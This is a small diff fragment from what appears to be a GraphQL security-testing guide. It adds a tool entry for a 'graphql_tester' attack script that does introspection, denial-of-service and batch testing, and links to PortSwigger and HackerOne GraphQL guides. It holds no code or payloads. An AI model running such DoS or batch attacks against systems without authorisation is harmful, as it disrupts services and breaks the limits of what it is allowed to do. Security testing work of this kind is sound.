## Tools
|
|
115
|
+
|
|
116
|
+
- `attack_script graphql_tester` — automated introspection + DoS + batch testing
|
|
117
|
+
|
|
118
|
+
## References
|
|
119
|
+
|
|
120
|
+
- [PortSwigger: GraphQL](https://portswigger.net/web-security/graphql)
|
|
121
|
+
- [HackerOne: GraphQL Bugs](https://www.hackerone.com/vulnerability-management/graphql-security-guide)
|